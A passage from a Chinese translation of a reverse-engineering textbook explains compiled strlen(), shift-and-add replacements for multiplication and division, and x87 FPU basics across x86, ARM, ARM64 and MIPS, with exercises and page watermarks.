指令。从前面一条指令开始解释:如果 AL 的值不是 0,则“test al, al” 指令会设置标志寄存器 ZF=0;而 SETNZ(Not Zero)指令会在 ZF=0 的时候,设置 AL=1。用白话解说, 就是:如果 AL 不等于 0,则跳 到 loc_80483F0 处。编译器转译出来的代码中,有些代码确实没有实际意义, 这是因为我们没有开启优化选项。 Optimizing MSVC 使用 MSVC(启用优化选项/Ox /Ob0)编译上述程序,可得到如下所示的指令。 指令清单 15.1 Optimizing MSVC 2012 /Ob0 _str$ = 8 ; size = 4 _strlen PROC mov edx, DWORD PTR _str$[esp-4] ;用 EDX 作字符串指针 mov eax, edx ; 复制到 EAX $LL2@strlen: mov cl, BYTE PTR [eax] ; CL = *EAX inc eax ; EAX++ test cl, cl ; CL==0? jne SHORT $LL2@strlen ; no, continue loop sub eax, edx ; 计算指针的变化量 dec eax ; decrement EAX ret 0 _strlen ENDP 优化编译生成的程序短了很多。不必多说,只有在函数较短且局部变量较少的情况下,编译器才会做 出这种程度的优化。 inc/dec 指令就是递增、递减指令,换句话说它们相当于运算符“++”“−−”。 Optimizing MSVC + OllyDbg 我们使用 OllyDbg 打开 MSVC 优化编译后的可执行文件。程序在进行第一次迭代时的情况如图 15.1 所示。 图 15.1 OllyDbg:第一次迭代 OllyDbg 识别出了循环结构,并且用方括号把整组循环体指令标示了出来。如需 OllyDbg 在内存窗口 里显示对应的数据,可用右键单击 EAX 寄存器,然后选择“Follow in Dump”,OllyDbg 将自动滚动到对应 的地址。在内存数据的显示窗口里,我们可以看到字符串“hello!”。字符串会用数值为零的字节做结尾, 在零之后的数据就是随机的噪音数据。如果 OllyDbg 发现某个寄存器的值是指向这片内存地址(某处)的 指针,它就会把对应的字符串提示出来。 然后不停地按 F8 键,等待循环体进入下一次循环。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 15 章 C 语言字符串的函数 173 如图 15.2 所示,EAX 寄存器的值是个指针,它指向字符串的第二个字符的地址。 图 15.2 OllyDbg:第二次迭代 继续按 F8 键,等待循环语句执行完毕。 如图 15.3 所示,EAX 寄存器里的指针最终指向了数值为零的字符串终止字符。在循环过程中,EDX 寄存器的值始终没有发生变化,它一直是字符串首地址的指针。在循环语句结束后,程序即将计算两个指 针的差值。 图 15.3 OllyDbg:即将计算指针(地址)之间的差值 把这两个寄存器的值(指针)相减,再减去 1,就可得到字符串的长度,如图 15.4 所示。 图 15.4 OllyDbg:EAX 递减 经计算,指针之间的差值为 7。实际上我们的字符串“hello!”只有 6 个字节,算上结束标志字节才是 7 个字节。很明显字符串以外的那个数值为零的字节不应当纳入字符串的长度,所以函数最后做了递减运 算,把这个字节去掉。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 174 逆向工程权威指南(上册) Optimizing GCC 使用 GCC 4.4.1 编译(启用优化选项“-O3”)上述程序,可得到: public strlen strlen proc near arg_0 = dword ptr 8 push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov eax, ecx loc_8048418: movzx edx, byte ptr [eax] add eax, 1 test dl, dl jnz short loc_8048418 not ecx add eax, ecx pop ebp retn strlen endp GCC 编译的结果和 MSVC 差不多,主要区别体现在 MOVZX 指令上。 即使把这条 MOVZX 指令替换为“mov dl, byte ptr [eax]”也没问题。 GCC 编译器的代码生成器这样做,或许是为了便于“记住”整个寄存器已经分配给了 char 型变量, 以保证寄存器的高地址位(bits)不会含有噪音数据。 接下来将要介绍的是 NOT 指令。NOT 指令对操作数的所有位(bit)都进行非运算。可以说,这条指 令和 XOR ECX, 0xffffffffh 指令等价。“not ecx”的结果与某数相加,相当于某数减去 ECX 和 1。在程序开 始的时候,ECX 保存了字符串首个字符的地址(指针),EAX 寄存器存储的是终止符的地址。对 ECX 求 非、再与 eax 相加,就是在计算 eax−ecx−1 的值。这种运算可以得到正确的字符串长度。 其中的数学问题,请参见第 30 章。 换句话说,在执行完循环语句之后,函数进行了如下操作: ecx=str; eax=eos; ecx=(-ecx)-1; eax=eax+ecx return eax 它得到的结果与下述运算完全相同: ecx=str; eax=eos; eax=eax-ecx; eax=eax-1; return eax GCC 编译器这么编译代码的具体原因不明。我们能够确定的是,即使 GCC 和 MSVC 分别选择不同的 算法,计算的结果肯定相同。 15.1.2 ARM 32bit ARM Non-optimizing Xcode 4.6.3 (LLVM) (ARM mode) 指令清单 15.2 Non-optimizing Xcode 4.6.3 (LLVM) (ARM mode) _strlen 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 15 章 C 语言字符串的函数 175 eos =-8 str =-4 SUB SP, SP, #8 ; allocate 8 bytes for local variables STR R0, [SP,#8+str] LDR R0, [SP,#8+str] STR R0, [SP,#8+eos] loc_2CB8 ; CODE XREF: _strlen+28 LDR R0, [SP,#8+eos] ADD R1, R0, #1 STR R1, [SP,#8+eos] LDRSB R0, [R0] CMP R0, #0 BEQ loc_2CD4 B loc_2CB8 loc_2CD4 ; CODE XREF: _strlen+24 LDR R0, [SP,#8+eos] LDR R1, [SP,#8+str] SUB R0, R0, R1 ; R0=eos-str SUB R0, R0, #1 ; R0=R0-1 ADD SP, SP, #8 ; deallocate 8 bytes BX LR 如果不指定优化选项,LLVM 编译器所生成的代码会很啰唆。但是这种冗长的代码有助于我们理解它 处理局部变量所用的栈结构。本例只用到了 2 个局部变量,即 eos 和 str。 在 IDA 的反编译结果中,我把变量 var_8 重命名为原始变量名 eos,把 var_4 重命名为 str。 程序的前几条指令把输入值传递给变量 str 和 eos。 循环体的起始地址是 loc_2CB8。 循环体内的前 3 条指令(LDR,ADD,STR)把 eos 的值保存在 R0 寄存器里,然后将这个值递增(+ 1),再把修改后的值直接赋值给栈内的局部变量 eos。 接着“LDRSB RO,[R0]” (Load Register Signed Byte)指令从 R0 所指向的地址处读取 1 个字节,并将之 转换为 32 位有符号数据(Keil 也把 Char 型数据视为有符号数据)。这条指令类似于 x86 的 MOVSX 指令(参见 15.1.1 节)。既然在 C 标准里 char 类型数据是 Signed 类型数据,编译器就把这个值当作 Signed 型数据处理。 应当注意的是,虽然 x86 系统可以把一个 32 位寄存器拆分为 8 位寄存器或 16 位寄存器单独调用,但 是 ARM 系统没有把寄存器拆解出来、分别使用的助记符。确切地说,x86 的这种特性是兼容性的要求: 为了运行 16 位 8086 指令甚至是 8 位 8080 指令,它的指令集必须向下兼容。而 ARM 系统的处理器最初就 是 32 位 RISC 处理器。所以,在使用 ARM 系统的寄存器时,只能把它当作完整的 32 位寄存器使用。 此后,LDRSB 指令把字符串中的字符逐字节地传递到 R0 寄存器。其后的 CMP 和 BEQ 指令,会检查 这个字节是不是零字节。如果这个字节不是 0,则再次进行循环;如果这个字节是 0,则结束循环语句。 函数在结束以前计算 eos 和 str 的差值,再把这个差值减去 1,然后作为函数的返回值、保存在 R0 寄存器里。 整个函数没有把寄存器推送入栈的操作。按照 ARM 调用函数的约定,R0~R3 寄存器的作用是传递参 数的暂存寄存器;函数在退出以后它们已经完成使命了,也不必恢复它们的初始值。在被调用方函数结束 之后,再怎么操作它们都行。另外,这个程序没有用到其他的寄存器,也没必要使用栈。所以在函数结束 时,唯一需要做的工作就是使用跳转指令(BX)把控制权交给 LR 寄存器保存的返回地址。 Optimizing Xcode 4.6.3 (LLVM) (Thumb mode) 指令清单 15.3 Optimizing Xcode 4.6.3 (LLVM) (Thumb mode) _strlen MOV R1, R0 loc_2DF6 异步社区会员 dearfuture(15918834820) 专享 尊重版权 176 逆向工程权威指南(上册) LDRB.W R2, [R1],#1 CMP R2, #0 BNE loc_2DF6 MVNS R0, R0 ADD R0, R1 BX LR 在进行优化编译的时候,编译器认为寄存器已经足够用了,不必使用栈来保管变量 eos 和 str。在开始 循环之前,编译器使用 R0 寄存器存储变量 str、用 R1 寄存器存储变量 eos。 “LDRB.W R2, [R1],#1”从 R1 所指向的地址里读取 1 个字节,将其转换为 32 位有符号数据(signed) 之后存储在 R2 寄存器里。指令末端的立即数#1 将在上述操作之后,把 R1 寄存器的值加 1(递增)。这种 指令属于延迟索引寻址(Post-indexed address,又称后变址寻址)指令,便于操作数组。 本书的 28.2 节会详细介绍延迟索引寻址。 循环体的 CMP 和 BNE 指令负责判断循环结束的条件。它们在读取到数值为零的字节之前会保证循环 语句处于的迭代状态。 MVNS(MoVe Not)指令相当于 x86 指令集中的 NOT 指令,与后面的 ADD 指令配合完成“eos-str-1” 的运算。在 15.1.1 节里,我们详细介绍过其中的各种细节,这里不再复述。 LLVM 编译器与 GCC 都认为这种代码的效率更高。 Optimizing Keil 6/2013 (ARM mode) 使用 Keil(启用优化选项)编译上述程序,可得到如下所示的指令。 指令清单 15.4 Optimizing Keil 6/2013 (ARM mode) _strlen MOV R1, R0 loc_2C8 LDRB R2, [R1],#1 CMP R2, #0 SUBEQ R0, R1, R0 SUBEQ R0, R0, #1 BNE loc_2C8 BX LR 这段代码与前面的 LLVM 优化编译生成的 Thumb 代码相似。区别在于前面的例子在循环结束后才运算 str−eos−1,而本例则是在循环体内进行表达式演算。前文介绍过,条件执行指令中的-EQ 后缀表示其运行条件为 “当前面的 CMP 比较的两个值相等/EQ 时,才会执行该指令”。所以,如果 R0 寄存器的值是 0,则会触发 CMP 指 令之后的两条 SUBEQ 指令。其运算结果会被保留在 R0 寄存器,迭代结束之后就自然成为函数的返回值。 ARM64 Optimizing GCC (Linaro) 4.9 my_strlen: mov x1, x0 ; X1 is now temporary pointer (eos), acting like cursor .L58: ; load byte from X1 to W2, increment X1 (post-index) ldrb w2, [x1],1 ; Compare and Branch if NonZero: compare W2 with 0, jump to .L58 if it is not cbnz w2, .L58 ; calculate difference between initial pointer in X0 and current address in X1 sub x0, x1, x0 ; decrement lowest 32-bit of result sub w0, w0, #1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 15 章 C 语言字符串的函数 177 ret 本例的算法与指令清单 15.11 的算法相同。它计算首字符和终止符地址的差值,然后再从差里减去 1。 指令清单中的注释详细介绍了具体的演算方法。不过,我的源程序有问题:my_strlen()的返回值是 32 位 int 型数据,但是它应当返回 size_t 或者另外一种 64 位数据。理论上讲,在 64 位平台上,strlen()函数的参数 地址可能是 4GB 以上的内存地址,所以它在 64 位平台上的返回值应当是 64 位数据。由于源程序存在这个 缺陷,所以最后一条 SUB 指令只对寄存器的低 32 位进行操作,但是倒数第二条 SUB 指令依然是对完整的 64 位寄存器进行减法运算。虽说程序存在缺陷,但是出于演示的目的,我还是把这个样本保留了下来。 Non-optimizing GCC (Linaro) 4.9 my_strlen: ; function prologue sub sp, sp, #32 ; first argument (str) will be stored in [sp,8] str x0, [sp,8] ldr x0, [sp,8] ; copy "str" to "eos" variable str x0, [sp,24] nop .L62: ; eos++ ldr x0, [sp,24] ; load "eos" to X0 add x1, x0, 1 ; increment X0 str x1, [sp,24] ; save X0 to "eos" ; load byte from memory at address in X0 to W0 ldrb w0, [x0] ; is it zero? (WZR is the 32-bit register always contain zero) cmp w0, wzr ; jump if not zero (Branch Not Equal) bne .L62 ; zero byte found. now calculate difference. ; load "eos" to X1 ldr x1, [sp,24] ; load "str" to X0 ldr x0, [sp,8] ; calculate difference sub x0, x1, x0 ; decrement result sub w0, w0, #1 ; function epilogue add sp, sp, 32 ret 关闭优化功能之后,编译器生成的代码就长了许多。在操作变量时,程序频繁地访问内存中的栈。此 外,由于源程序的设计缺陷,最后一条 SUB 指令只对寄存器的低 32 位数据进行了减法运算。 15.1.3 MIPS 指令清单 15.5 Optimizing GCC 4.4.5 (IDA) my_strlen: ; "eos" variable will always reside in $v1: move $v1, $a0 loc_4: ; load byte at address in "eos" into $a1: lb $a1, 0($v1) or $at, $zero ; load delay slot, NOP ; if loaded byte is not zero, jump to loc_4: bnez $a1, loc_4 ; increment "eos" anyway: addiu $v1, 1 ; branch delay slot 异步社区会员 dearfuture(15918834820) 专享 尊重版权 178 逆向工程权威指南(上册) ; loop finished. invert "str" variable: nor $v0, $zero, $a0 ; $v0=-str-1 jr $ra ; return value = $v1 + $v0 = eos + ( -str-1 ) = eos - str - 1 addu $v0, $v1, $v0 ; branch delay slot MIPS 的指令集里没有求非(NOT)运算指令,但是它有非或 NOR(即 OR+NOT)指令。在数字电路 领域,非或运算电路十分普遍;但是在计算机编程领域,它还比较冷门。借助非或运算指令,求非的 NOT 运算指令可由“NOR DST,$ZERO,SRC”指令变相实现。 前文介绍过,求非运算相当于“求负、再减 1”的运算。与后面的 ADDU 指令配合,可完成“eos−str−1” 的运算,求得正确的字符串长度。 15.2 练习题 15.2.1 题目 1 请描述下列代码的功能。 指令清单 15.6 Optimizing MSVC 2010 _s$ = 8 _f PROC mov edx, DWORD PTR _s$[esp-4] mov cl, BYTE PTR [edx] xor eax, eax test cl, cl je SHORT $LN2@f npad 4 ; align next label $LL4@f: cmp cl, 32 jne SHORT $LN3@f inc eax $LN3@f: mov cl, BYTE PTR [edx+1] inc edx test cl, cl jne SHORT $LL4@f $LN2@f: ret 0 _f ENDP 指令清单 15.7 GCC 4.8.1 -O3 f: .LFB24: push ebx mov ecx, DWORD PTR [esp+8] xor eax, eax movzx edx, BYTE PTR [ecx] test dl, dl je .L2 .L3: cmp dl, 32 lea ebx, [eax+1] cmove eax, ebx add ecx, 1 movzx edx, BYTE PTR [ecx] test dl, dl jne .L3 .L2: pop ebx 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 15 章 C 语言字符串的函数 179 ret 指令清单 15.8 Optimizing Keil 6/2013 (ARM mode) f PROC MOV r1,#0 |L0.4| LDRB r2,[r0,#0] CMP r2,#0 MOVEQ r0,r1 BXEQ lr CMP r2,#0x20 ADDEQ r1,r1,#1 ADD r0,r0,#1 B |L0.4| ENDP 指令清单 15.9 Optimizing Keil 6/2013 (Thumb mode) f PROC MOVS r1,#0 B |L0.12| |L0.4| CMP r2,#0x20 BNE |L0.10| ADDS r1,r1,#1 |L0.10| ADDS r0,r0,#1 |L0.12| LDRB r2,[r0,#0] CMP r2,#0 BNE |L0.4| MOVS r0,r1 BX lr ENDP 指令清单 15.10 Optimizing GCC 4.9 (ARM64) f: ldrb w1, [x0] cbz w1, .L4 mov w2, 0 .L3: cmp w1, 32 ldrb w1, [x0,1]! csinc w2, w2, w2, ne cbnz w1, .L3 .L2: mov w0, w2 ret .L4: mov w2, w1 b .L2 指令清单 15.11 Optimizing GCC 4.4.5 (MIPS) (IDA) f: lb $v1, 0($a0) or $at, $zero beqz $v1, locret_48 li $a1,0x20#'' b loc_28 move $v0, $zero loc_18: # CODE XREF: f:loc_28 lb $v1, 0($a0) or $at, $zero beqz $v1, locret_40 or $at, $zero 异步社区会员 dearfuture(15918834820) 专享 尊重版权 180 逆向工程权威指南(上册) loc_28: # CODE XREF: f+10 # f+38 bne $v1, $a1, loc_18 addiu $a0, 1 lb $v1, 0($a0) or $at, $zero bnez $v1, loc_28 addiu $v0, 1 locret_40: # CODE XREF: f+20 jr $ra or $at, $zero locret_48: # CODE XREF: f+8 jr $ra move $v0, $zero 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 1166 章 章 数 数学 学计 计算 算指 指令 令的 的替 替换 换 出于性能优化的考虑,编译器可能会将 1 条数学运算指令替换为其他的 1 条、甚至是一组等效指令。 例如 LEA 指令通常替代其他的简单计算指令:请参见附录 A.6.2 节。 ADD 和 SUB 指令同样可以相互替换。例如,指令清单 52.1 的第 18 行就是如此。 16.1 乘法 16.1.1 替换为加法运算 我们通过下述程序进行演示。 指令清单 16.1 Optimizing MSVC 2010 unsigned int f(unsigned int a) { return a*8; }; 如果使用 MSVC 2010(启用/Ox)进行编译,编译器会把“乘以 8”的运算指令拆解为 3 条加法指令。 很明显 MSVC 认为替换后的程序性能更高。 _TEXT SEGMENT _a$ = 8 ; size = 4 _f PROC ; File c:\polygon\c\2.c mov eax, DWORD PTR _a$[esp-4] add eax, eax add eax, eax add eax, eax ret 0 _f ENDP _TEXT ENDS END 16.1.2 替换为位移运算 编译器通常会把“乘以 2”“除以 2”的运算指令处理为位移运算指令: unsigned int f(unsigned int a) { return a*4; }; 指令清单 16.2 Non-optimizing MSVC 2010 _a$ = 8 ; size = 4 _f PROC push ebp mov ebp, esp mov eax, DWORD PTR _a$[ebp] shl eax, 2 pop ebp ret 0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 182 逆向工程权威指南(上册) _f ENDP “乘以 4”的运算就是把被乘数左移 2 位、再把位移产生的空缺位添上 0 的运算。就好比在心算计算 3×100 的时候,我们就是在 3 后面的空缺位添加两个零。 位移指令的示意图如下所示。 右侧产生的空缺位都由零填充。 乘以 4 的 ARM 指令如下所示。 指令清单 16.3 Non-optimizing Keil 6/2013 (ARM mode) f PROC LSL r0,r0,#2 BX lr ENDP 对应的 MIPS 指令如下所示。 指令清单 16.4 Optimizing GCC 4.4.5 (IDA) jr $ra sll $v0, $a0, 2 ; branch delay slot 其中,SLL 是逻辑左移“Shift Left Logical”的缩写。 16.1.3 替换为位移、加减法的混合运算 即使乘数是 7 或 17,乘法运算仍然可以用非乘法运算指令配合位移指令实现。其算术原理也不难推测。 32 位 #include <stdint.h> int f1(int a) { return a*7; }; int f2(int a) { return a*28; }; int f3(int a) { return a*17; }; x86 指令清单 16.5 Optimizing MSVC 2012 ; a*7 _a$ = 8 _f1 PROC mov ecx, DWORD PTR _a$[esp-4] ; ECX=a 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 16 章 数学计算指令的替换 183 lea eax, DWORD PTR [ecx*8] ; EAX=ECX*8 sub eax, ecx ; EAX=EAX-ECX=ECX*8-ECX=ECX*7=a*7 ret 0 _f1 ENDP ; a*28 _a$ = 8 _f2 PROC mov ecx, DWORD PTR _a$[esp-4] ; ECX=a lea eax, DWORD PTR [ecx*8] ; EAX=ECX*8 sub eax, ecx ; EAX=EAX-ECX=ECX*8-ECX=ECX*7=a*7 shl eax, 2 ; EAX=EAX<<2=(a*7)*4=a*28 ret 0 _f2 ENDP ; a*17 _a$ = 8 _f3 PROC mov eax, DWORD PTR _a$[esp-4] ; EAX=a shl eax, 4 ; EAX=EAX<<4=EAX*16=a*16 add eax, DWORD PTR _a$[esp-4] ; EAX=EAX+a=a*16+a=a*17 ret 0 _f3 ENDP ARM ARM 指令集的位移运算指令有 3 个操作符,可在位移运算符后再进行一次加法运算。故而 Keil 生成 的代码更为短小。 指令清单 16.6 Optimizing Keil 6/2013 (ARM mode) ; a*7 ||f1|| PROC RSB r0,r0,r0,LSL #3 ; R0=R0<<3-R0=R0*8-R0=a*8-a=a*7 BX lr ENDP ; a*28 ||f2|| PROC RSB r0,r0,r0,LSL #3 ; R0=R0<<3-R0=R0*8-R0=a*8-a=a*7 LSL r0,r0,#2 ; R0=R0<<2=R0*4=a*7*4=a*28 BX lr ENDP ; a*17 ||f3|| PROC ADD r0,r0,r0,LSL #4 ; R0=R0+R0<<4=R0+R0*16=R0*17=a*17 BX lr ENDP 然而 Thumb 模式的位移指令不支持这种运算。编译器无法优化 f2()。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 184 逆向工程权威指南(上册) 指令清单 16.7 Optimizing Keil 6/2013 (Thumb mode) ; a*7 ||f1|| PROC LSLS r1,r0,#3 ; R1=R0<<3=a<<3=a*8 SUBS r0,r1,r0 ; R0=R1-R0=a*8-a=a*7 BX lr ENDP ; a*28 ||f2|| PROC MOVS r1,#0x1c ; 28 ; R1=28 MULS r0,r1,r0 ; R0=R1*R0=28*a BX lr ENDP ; a*17 ||f3|| PROC LSLS r1,r0,#4 ; R1=R0<<4=R0*16=a*16 ADDS r0,r0,r1 ; R0=R0+R1=a+a*16=a*17 BX lr ENDP MIPS 指令清单 16.8 Optimizing GCC 4.4.5 (IDA) _f1: sll $v0, $a0, 3 ; $v0 = $a0<<3 = $a0*8 jr $ra subu $v0, $a0 ; branch delay slot ; $v0 = $v0-$a0 = $a0*8-$a0 = $a0*7 _f2: sll $v0, $a0, 5 ; $v0 = $a0<<5 = $a0*32 sll $a0, 2 ; $a0 = $a0<<2 = $a0*4 jr $ra subu $v0, $a0 ; branch delay slot ; $v0 = $a0*32-$a0*4 = $a0*28 _f3: sll $v0, $a0, 4 ; $v0 = $a0<<4 = $a0*16 jr $ra addu $v0, $a0 ; branch delay slot ; $v0 = $a0*16+$a0 = $a0*17 64 位 #include <stdint.h> int64_t f1(int64_t a) { return a*7; }; int64_t f2(int64_t a) { 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 16 章 数学计算指令的替换 185 return a*28; }; int64_t f3(int64_t a) { return a*17; }; x64 指令清单 16.9 Optimizing MSVC 2012 ; a*7 f1: lea rax, [0+rdi*8] ; RAX=RDI*8=a*8 sub rax, rdi ; RAX=RAX-RDI=a*8-a=a*7 ret ; a*28 f2: lea rax, [0+rdi*4] ; RAX=RDI*4=a*4 sal rdi, 5 ; RDI=RDI<<5=RDI*32=a*32 sub rdi, rax ; RDI=RDI-RAX=a*32-a*4=a*28 mov rax, rdi ret ; a*17 f3: mov rax, rdi sal rax, 4 ; RAX=RAX<<4=a*16 add rax, rdi ; RAX=a*16+a=a*17 ret ARM64 由于 ARM64 模式的位移指令同样可进行加法运算,所以这种程序要短一些。 指令清单 16.10 Optimizing GCC (Linaro) 4.9 ARM64 ; a*7 f1: lsl x1, x0, 3 ; X1=X0<<3=X0*8=a*8 sub x0, x1, x0 ; X0=X1-X0=a*8-a=a*7 ret ; a*28 f2: lsl x1, x0, 5 ; X1=X0<<5=a*32 sub x0, x1, x0, lsl 2 ; X0=X1-X0<<2=a*32-a<<2=a*32-a*4=a*28 ret ; a*17 f3: add x0, x0, x0, lsl 4 ; X0=X0+X0<<4=a+a*16=a*17 ret 异步社区会员 dearfuture(15918834820) 专享 尊重版权 186 逆向工程权威指南(上册) 16.2 除法运算 16.2.1 替换为位移运算 本节围绕下述源程序进行演示: unsigned int f(unsigned int a) { return a/4; }; 使用 MSVC 2010 编译上述程序,可得到如下所示的指令。 指令清单 16.11 MSVC 2010 _a$ = 8 ; size = 4 _f PROC mov eax, DWORD PTR _a$[esp-4] shr eax, 2 ret 0 _f ENDP 上述代码中的 SHR(SHift Right)指令将 EAX 寄存器中的数值右移 2 位,使用零填充位移产生的空缺位, 并且舍弃那些被右移指令移动出存储空间的比特位。实际上,那些被舍弃的比特位正是除法运算的余数。 SHR 指令和 SHL 指令的运算模式相同,只是位移方向不同。 右移与余数的关系与十进制运算的移动小数点运算相似:当被除数为 23、除数为 10 时,我们将 23 的 小数点左移一位,2 为商、3 为余数。 毕竟本例是整数运算,商也应当是整数(不会是浮点数),所以我们舍弃余数完全没有问题。 “除以 4”运算的 ARM 程序如下所示。 指令清单 16.12 Non-optimizing Keil 6/2013 (ARM mode) f PROC LSR r0,r0,#2 BX lr ENDP “除以 4”运算的 MIPS 程序如下所示。 指令清单 16.13 Optimizing GCC 4.4.5 (IDA) jr $ra srl $v0, $a0, 2 ; branch delay slot 上述程序中的 SRL 指令是“逻辑右移指令/Shift-Right Logical”。 16.3 练习题 16.3.1 题目 1 请分析下列程序的功能。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 16 章 数学计算指令的替换 187 指令清单 16.14 Optimizing MSVC 2010 _a$ = 8 _f PROC mov ecx, DWORD PTR _a$[esp-4] lea eax, DWORD PTR [ecx*8] sub eax, ecx ret 0 _f ENDP 指令清单 16.15 Non-optimizing Keil 6/2013 (ARM mode) f PROC RSB r0,r0,r0,LSL #3 BX lr ENDP 指令清单 16.16 Non-optimizing Keil 6/2013 (Thumb mode) f PROC LSLS r1,r0,#3 SUBS r0,r1,r0 BX lr ENDP 指令清单 16.17 Optimizing GCC 4.9 (ARM64) f: lsl w1, w0, 3 sub w0, w1, w0 ret 指令清单 16.18 Optimizing GCC 4.4.5 (MIPS) (IDA) f: sll $v0, $a0, 3 jr $ra subu $v0, $a0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 1177 章 章 FFPPUU FPU 是专门处理浮点数的运算单元,是 CPU 的一个组件。 在早期的计算机体系中,FPU 位于 CPU 之外的单独的运算芯片上。 17.1 IEEE 754 IEEE 754 标准规定了计算机程序设计环境中的二进制和十进制的浮点数的交换、算术格式以及方法。 符合这种标准的浮点数由符号位、尾数(又称为有效数字、小数位)和指数位构成。 17.2 x86 事先接触过 stack machine ①或 Forth 语言编程基础 ②的读者,理解本节内容的速度会比较快。 在 80486 处理器问世之前,FPU(与 CPU 位于不同的芯片)叫作协作(辅助)处理器。而且那个时候 的 FPU 还不属于主板的标准配置;如果想要在主板上安装 FPU,人们还得单独购买它。 ③ 80486 DX 之后的 CPU 处理器集成了 FPU 的功能。 若没有 FWAIT 指令和 opcode 以 D8~DF 开头的所谓的“ESC”字符指令(opcode 以 D8~DF 开头),恐怕 很少有人还会想起 FPU 属于独立运算单元的这段历史。FWAIT 指令的作用是让 CPU 等待 FPU 运算结束,而 ESC 字符指令都在 FPU 上执行。 FPU 自带一个由 8 个 80 位寄存器构成的循环栈。这些 80 位寄存器用以存储 IEEE 754 格式的浮点数据 ④, 通常叫作 ST(0)~ST(7)寄存器。IDA 和 OllyDbg 都把 ST(0)显示为 ST。也有不少教科书把 ST(0)叫作“栈顶/Stack Top”寄存器。 17.3 ARM、MIPD、x86/x64 SIMD 在 ARM 和 MIPS 平台的概念里,FPU 寄存器不构成栈结构,仅仅是一组寄存器。x86/64 构架的 SIMD 扩展(单指令多数据流扩展)也延承了这种理念。 17.4 C/C++ 标准 C/C++语言支持两种浮点类型数据,即单精度 32 位浮点数据(float)和双精度 64 位浮点数据(double)。 GCC 编译器还支持 long double 类型浮点,即 80 位增强精度的扩展浮点类型数据(extended precision)。 不过 MSVC 编译器不支持这种类型的浮点数据。 ⑤ ① 中文叫“堆栈机”或“堆栈结构机”。请参见 http://en.wikipedia.org/wiki/Stack_machine。 ② 请参见 http://en.wikipedia.org/wiki/Forth_%28programming_language%29。 ③ 当初,为了使没有 FPU 的 32 位计算机(例如 80386\80486 SX)兼容其研发的 DOOM 游戏,John Carmack 设计了一套“软” FPU 运算系统。这种系统使用 CPU 寄存器的高 16 位地址存储整数部分、低 16 位地址存储浮点数值的小数部分,仅通过标准 32 位通用寄存器即可实现浮点运算。更多详情请参阅:https://en.wikipedia.org/wiki/Fixed-point_arithmetic。 ④ 如需详细了解 IEEE 754 格式规范,请参见 http://en.wikipedia.org/wiki/IEEE_754-2008。 ⑤ 如需详细了解这三种不同精度的数据类型,请参见: http://en.wikipedia.org/wiki/Single-precision_floating-point_format。 http://en.wikipedia.org/wiki/Double-precision_floating-point_format。 http://en.wikipedia.org/wiki/Extended_precision。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 17 章 FPU 189 虽然单精度浮点(float)型数据和整数(int)型数据在 32 位系统里都是 32 位数据,但是它们的数据 格式完全不一样。 17.5 举例说明 本节围绕下述例子进行讲解: #include <stdio.h> double f (double a, double b) { return a/3.14 + b*4.1; }; int main() { printf ("%f\n", f(1.2, 3.4)); }; 17.5.1 x86 MSVC 使用 MSVC 编译上述程序,可得到如下所示的指令。 指令清单 17.1 MSVC 2010:f() CONST SEGMENT __real@4010666666666666 DQ 04010666666666666r ; 4.1 CONST ENDS CONST SEGMENT __real@40091eb851eb851f DQ 040091eb851eb851fr ; 3.14 CONST ENDS _TEXT SEGMENT _a$ = 8 ; size = 8 _b$ = 16 ; size = 8 _f PROC push ebp mov ebp, esp fld QWORD PTR _a$[ebp] ; current stack state: ST(0) = _a fdiv QWORD PTR __real@40091eb851eb851f ; current stack state: ST(0) = result of _a divided by 3.14 fld QWORD PTR _b$[ebp] ; current stack state: ST(0) = _b; ST(1) = result of _a divided by 3.14 fmul QWORD PTR __real@4010666666666666 ; current stack state: ; ST(0) = result of _b * 4.1; ; ST(1) = result of _a divided by 3.14 faddp ST(1), ST(0) ; current stack state: ST(0) = result of addition pop ebp ret 0 _f ENDP 异步社区会员 dearfuture(15918834820) 专享 尊重版权 190 逆向工程权威指南(上册) FLD 指令从栈中读取 8 个字节,把这个值转换为 FPU 寄存器所需的 80 位数据格式,并存入 ST(0)寄存器。 FDIV 指令把 ST(0)寄存器的值用作被除数,把参数__real@40091eb851eb851f(即 3.14)的值当作除数, 进行除法运算。因为汇编语法不支持含有小数点的浮点立即数,所以程序使用 64 位 IEEE 754 格式的 16 进制数 040091eb851eb851fr 表示 3.14 。 在进行 FDIV 运算之后,ST(0)寄存器将保存商。 此外,FDIVP 也是 FPU 的除法运算指令。FDIVP 在进行 ST(1)/ST(0)运算时,先把两个寄存器的值 POP 出来进行运算,再把商推送入(PUSH)FPU 的栈(即 ST(0)寄存器)。这相当于 Forth 语言 ①中的堆栈机 ②。 下一条 FLD 指令,把变量 b 的值推送到 FPU 的栈。 此时,ST(1)寄存器里是上次除法运算的商,ST(0)寄存器里是变量 b 的值。 接下来的 FMUL 指令做乘法运算。它用 ST(0)寄存器里的值(即变量 b),乘以参数__real @4010666666666666(即 4.1),并将运算结果(积)存储到 ST(0)寄存器。 最后一条运算指令 FADDP 计算栈内顶部两个值的和。它先把运算结果存储在 ST(1)寄存器,再 POP ST(1)。所以,运算表达式的运算结果存储在栈顶的 ST(0)寄存器里。 根据有关规范,函数必须使用 ST(0)寄存器存储浮点运算的返回结果。所以在 FADDP 指令之后, 除了函数尾声的指令之外再无其他指令。 MSVC+OllyDbg 图 17.1 标记出了两对 32 位数据。这两对数据都是由 main()函数传递过来的、以 IEEE 754 格式存储的 双精度浮点数据。我们可看到首条 FLD 指令从栈内读取了 1.2、然后把它推送到 ST(0)。 图 17.1 OllyDbg:执行首条 FLD 指令 在把 64 位 IEEE 754 格式的数据转换为 FPU 所用的 80 位浮点数据的过程中,会不可避免地存在误差。图 中 1.1999„„所要表示的量,就是 1.2 的近似值。此后,EIP 寄存器的值指向下一条指令 FDIV。FDIV 指令会 从内存中读取双精度浮点常量。OllyDbg 